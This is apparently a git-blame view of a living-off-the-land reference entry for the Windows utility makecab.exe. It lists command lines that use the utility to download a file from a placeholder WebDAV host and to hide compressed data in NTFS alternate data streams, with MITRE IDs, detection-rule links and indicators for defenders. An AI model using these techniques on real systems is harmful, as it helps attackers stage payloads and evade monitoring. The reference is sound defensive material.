2018-06-09 00:15:06 +02:00
|
|
|
---
|
|
|
|
Name: Makecab.exe
|
2018-09-24 21:59:43 +02:00
|
|
|
Description: Binary to package existing files into a cabinet (.cab) file
|
|
|
|
Author: 'Oddvar Moe'
|
2021-01-10 16:04:52 +01:00
|
|
|
Created: 2018-05-25
|
2018-06-09 00:15:06 +02:00
|
|
|
Commands:
|
|
|
|
- Command: makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
|
|
|
|
Description: Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Hide data compressed into an alternate data stream
|
2018-09-26 09:34:01 +02:00
|
|
|
Category: ADS
|
2018-09-24 21:59:43 +02:00
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1564.004
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-06-09 00:15:06 +02:00
|
|
|
- Command: makecab \\webdavserver\webdav\file.exe C:\Folder\file.txt:file.cab
|
|
|
|
Description: Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Hide data compressed into an alternate data stream
|
2018-12-10 14:28:12 +01:00
|
|
|
Category: ADS
|
2018-09-24 21:59:43 +02:00
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1564.004
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-09-24 21:59:43 +02:00
|
|
|
- Command: makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
|
|
|
|
Description: Download and compresses the target file and stores it in the target file.
|
|
|
|
Usecase: Download file and compress into a cab file
|
|
|
|
Category: Download
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1105
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-12-10 14:28:12 +01:00
|
|
|
Full_Path:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Path: C:\Windows\System32\makecab.exe
|
|
|
|
- Path: C:\Windows\SysWOW64\makecab.exe
|
2021-01-10 16:04:52 +01:00
|
|
|
Code_Sample:
|
2021-11-15 14:19:03 +01:00
|
|
|
- Code:
|
2018-09-24 21:59:43 +02:00
|
|
|
Detection:
|
2021-11-15 14:19:03 +01:00
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/688df3405afd778d63a2ea36a084344a2052848c/rules/windows/process_creation/process_creation_alternate_data_streams.yml
|
|
|
|
- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml
|
|
|
|
- IOC: Makecab retrieving files from Internet
|
|
|
|
- IOC: Makecab storing data into alternate data streams
|
2018-06-09 00:15:06 +02:00
|
|
|
Resources:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
|
|
|
|
Acknowledgement:
|
|
|
|
- Person: Oddvar Moe
|
|
|
|
Handle: '@oddvarmoe'
|